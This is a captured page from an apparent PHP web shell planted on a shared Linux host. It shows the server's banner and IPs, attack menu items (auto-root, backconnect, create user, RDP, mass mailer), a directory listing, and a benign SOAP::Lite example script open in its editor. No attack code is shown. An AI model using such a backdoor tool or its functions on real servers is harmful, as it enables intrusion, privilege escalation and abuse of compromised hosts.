Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libsoap-lite-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
COM
[ DIR ]
drwxr-xr-x
My
[ DIR ]
drwxr-xr-x
SOAP
[ DIR ]
drwxr-xr-x
UDDI
[ DIR ]
drwxr-xr-x
WSDL
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
XMLRPC
[ DIR ]
drwxr-xr-x
forms
[ DIR ]
drwxr-xr-x
server
[ DIR ]
drwxr-xr-x
allclients.pl
1.3
KB
-rw-r--r--
authentication.pl
1.1
KB
-rw-r--r--
autoexamples.pl
890
B
-rw-r--r--
chat.pl
1.1
KB
-rw-r--r--
compress.pl
488
B
-rw-r--r--
cookie.pl
458
B
-rw-r--r--
cookieauth.pl
386
B
-rw-r--r--
customschema.pl
3.12
KB
-rw-r--r--
fullsearch.pl
1023
B
-rw-r--r--
getdom.pl
1.77
KB
-rw-r--r--
google.pl
886
B
-rw-r--r--
inline.daemon
672
B
-rw-r--r--
iterator.pl
866
B
-rw-r--r--
joke.pl
469
B
-rw-r--r--
oneliners
187
B
-rw-r--r--
oo-apache.pl
798
B
-rw-r--r--
parametersbyname.pl
979
B
-rw-r--r--
pingpong.pl
1.01
KB
-rw-r--r--
soapmark.pl
1.92
KB
-rw-r--r--
soapsmtp.pl
768
B
-rw-r--r--
tcpclient.pl
572
B
-rw-r--r--
terraserver.pl
1.29
KB
-rw-r--r--
weblog.pl
480
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : terraserver.pl
#!/usr/bin/perl -w #!d:\perl\bin\perl.exe # -- SOAP::Lite -- soaplite.com -- Copyright (C) 2001 Paul Kulchenko -- # example for Microsoft's TerraServer http://terraserver.microsoft.net/ # thanks to Ivan R. Judson <judson@mcs.anl.gov> for his help use SOAP::Lite; # terraserver doesn't like charset in content-type $SOAP::Constants::DO_NOT_USE_CHARSET = 1; my $terra = SOAP::Lite ->proxy('http://terraserver.microsoft.net/TerraService.asmx') ->on_action(sub { join '/', 'http://terraservice.net/terraserver', $_[1] }) ->uri('http://tempuri.org/') ; my $response = $terra->GetTheme(SOAP::Data->name(theme => 'Photo')); if ($response->fault) { die $response->faultstring; } else { my %result = %{$response->result}; print map("$_: @{[$result{$_} || '']}\n", keys %result), "\n"; } my $method = SOAP::Data->name('GetPlaceList') ->attr({xmlns => 'http://tempuri.org/'}); my @params = ( SOAP::Data->name(placeName => 'Chicago'), SOAP::Data->name(MaxItems => 10), SOAP::Data->name(imagePresence => 'true') ); $response = $terra->call($method => @params); if ($response->fault) { print $response->faultcode, " ", $response->faultstring, "\n"; } else { foreach ($response->valueof('//PlaceFacts')) { my %result = %{$_->{Place}}; print map("$_: $result{$_}\n", keys %result), "\n"; } }
Close
